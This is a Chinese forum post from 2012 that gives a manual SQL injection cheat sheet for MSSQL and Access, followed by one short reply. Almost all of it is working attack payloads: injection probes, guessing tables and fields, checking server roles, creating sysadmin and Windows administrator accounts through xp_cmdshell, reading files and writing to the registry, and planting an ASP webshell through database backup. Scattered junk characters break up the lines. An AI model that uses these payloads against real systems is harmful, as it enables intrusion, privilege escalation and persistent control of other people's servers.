找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2448|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
9 s8 p% K/ P- ~2 g5 a  F1.判断是否有注入;and 1=1 ;and 1=2
$ E. `; i" X5 n0 q' ?6 |9 \% C  t3 M4 b
2.初步判断是否是mssql ;and user>0 7 g5 J' [+ p7 ~0 ^$ Q6 a$ A; s7 d

6 g; G: }; E) _3.注入参数是字符'and [查询条件] and ''='
+ b3 x. x8 b+ N3 y5 ?4 a" [4 i
* y2 V) h9 b: M/ {- c4 V  g' B4.搜索时没过滤参数的'and [查询条件] and '%25'=' + y* |7 f! U6 f- j. `
3 }9 a( B1 O9 z: K
5.判断数据库系统
7 U6 Y1 v8 f$ }) Q, R" D1 k;and (select count(*) from sysobjects)>0 mssql
+ c! f8 O9 @5 B7 z;and (select count(*) from msysobjects)>0 access 7 f2 ^: B( q9 v. f- R6 ]
/ N4 H1 b: J  B6 Q
6.猜数据库 ;and (select Count(*) from [数据库名])>0
5 A* B+ e0 y7 v3 I# b
6 n8 C# ?- @0 |' X2 C: Y: h7.猜字段 ;and (select Count(字段名) from 数据库名)>0
$ C+ c7 R; \1 S5 m# x% p
& M1 ?9 u' c/ A: I8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
) \6 N) E( z" q
* p" j/ R! ?- O( b9.(1)猜字段的ascii值(access) , w# c' o5 M9 p3 K( q# e
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9 q- U8 z& B$ s% T$ J$ A

. s) Z# b$ H: h; H& ^6 L$ c+ L(2)猜字段的ascii值(mssql)
% [+ S; l0 A; l" y" ~;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
/ F" e3 F" m" @* M, k1 r3 R
) ^$ Q  |$ O5 ~4 N: m5 q10.测试权限结构(mssql) * p3 I; J, ~2 w  ~+ C
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
% i- _: \  F- }! h# I( I. p# N;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9 ?7 G. b! b2 D
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
% h, Q; P$ V7 _2 ^1 S;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
( u( N* ~- L1 j6 B1 k% P;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ' _7 l' X5 {2 e
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
9 c) {; q( k' K0 L3 [5 |" n7 B7 P;and 1=(select IS_MEMBER('db_owner'));--
/ E4 H7 T- g5 F& J9 y! |
& C' c( x$ A0 F+ ^5 |  S: L11.添加mssql和系统的帐户
+ [0 G) R) r6 ~8 X) Q;exec master.dbo.sp_addlogin username;--
) `: ~/ r2 ?3 [0 ?) m# [4 k2 ^* \* M, A+ M
;exec master.dbo.sp_password null,username,password;-- 7 E6 T2 w* X. |" b6 G
9 t& O* A& ]' j9 [  ?+ Q: E
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ) Z) K  M. }4 Q  G% N
1 S2 L2 G, ^9 L" T. I
;exec master.dbo.xp_cmdshell 'net user username password 2 a8 @/ T. [/ [$ l! g6 I7 A0 T$ R
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
4 s* D8 |1 v) B+ G8 y+ w  \$ `( c% o# i
;exec master.dbo.xp_cmdshell 'net user username password /add';--
$ X. @3 P2 C+ e0 x( T; ?! s# Q+ v. o  u* P7 r
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ X' s' ~1 k9 ^7 q# j0 n8 V, P; V# r- U
12.(1)遍历目录
" q. Y3 S( U  p, u$ M* ^
0 y! N9 g# y, E$ z# g% V  Q6 D( B+ a;create table dirs(paths varchar(100), id int)
$ n6 y* V; b( @1 j0 V0 K;insert dirs exec master.dbo.xp_dirtree 'c:\' 3 a; P" _2 a5 B+ [. E1 [% D) N
;and (select top 1 paths from dirs)>0
2 d( ~  j2 B: c  d7 Y# u& M;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
. ]  a" T4 g& ~$ O3 v: Q* ]' k* y" q* c: a1 P
(2)遍历目录 ( i# N5 b# V, f' {' s3 z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--   M; [7 {' ]; r% f! i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
3 G) m3 y& J: F;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ; h$ g8 H% [3 G. N) B0 O5 |
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ) V' c6 n% N- n% |: F$ m
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ; ]' j) }/ N* e6 X+ v
/ q- \! }' ]! Q
13.mssql中的存储过程 : y: `' T. G. Z: [; \" c

$ J, R- _' ^5 u: f) A/ d7 G# axp_regenumvalues 注册表根键, 子键 : `, y) {: d, h  p+ Y  S
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
" i6 l4 f1 o1 H# T0 ^' T: `4 _* `& L+ u" j) r
xp_regread 根键,子键,键值名
8 ]" y) S1 S# `% A;exec xp_regread 3 W( ?( ?( o7 X# Q: _, i% t, N
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
- U/ u" r2 T! _* f7 L3 J4 Z6 i: U. z# w: f- F. \- `! n
xp_regwrite 根键,子键, 值名, 值类型, 值
/ s" ^6 ^  J- ~4 s值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' Z3 \: K6 S, F  W' g$ G/ Q;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表   b5 Y+ A5 K2 V

+ [+ D+ p* i- i2 O1 B0 Q0 lxp_regdeletevalue 根键,子键,值名
' G  A: k! a. ^4 p3 U8 S2 T. R; t2 I* k! U8 z5 L
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
2 I$ [7 u" m; L7 j  `% V. S9 N4 d( w: e# B( o- Z' z7 f
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 # k5 E. `! w: ?1 b1 b

" K8 i1 E, S$ \6 U6 f14.mssql的backup创建webshell ( S9 u/ s: y  O+ O2 R
use model 0 J& _8 R2 p" F% N9 ^! m
create table cmd(str image); / F5 }/ U" E; U  `
insert into cmd(str) values (''); % T8 s  O% N2 L$ S( M2 M
backup database model to disk='c:\l.asp';
  N( F1 p0 f9 W) ^; \* B5 g; a/ i
# _9 a2 U* }- y; j  S9 M. j& ~$ T+ s& o* ^15.mssql内置函数
6 K" N/ |' ?6 R% L- \5 z8 {;and (select @@version)>0 获得Windows的版本号
) i% h. C' f: S( V1 U7 U9 R;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 g" D. W* U' Y! }. c7 T1 R, };and (select user_name())>0 爆当前系统的连接用户 6 E0 _% N, u& r+ i4 V8 i1 Q3 ?9 N6 g7 ~
;and (select db_name())>0 得到当前连接的数据库
5 K3 j3 O; I6 _7 ]9 y
* ^/ ^2 o& E( P, U7 Q- x16.简洁的webshell - V& M" W% Y, t0 |* D7 s

& O/ p8 Y6 [, A0 Muse model
  Q" W) e' Q* j9 |" h$ l: [( p' l  ^* G& G; C# L0 N$ d
create table cmd(str image); & E3 I, v# Q0 M' U  n

  l# g. k( `1 j6 einsert into cmd(str) values ('');
* k$ ]% D9 h) j$ H/ d/ @
: k' T! ~  x& X) `. g0 Jbackup database model to disk='g:\wwwtest\l.asp';
$ i" r% \3 N* p : Y; ~3 W& d) p4 g
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表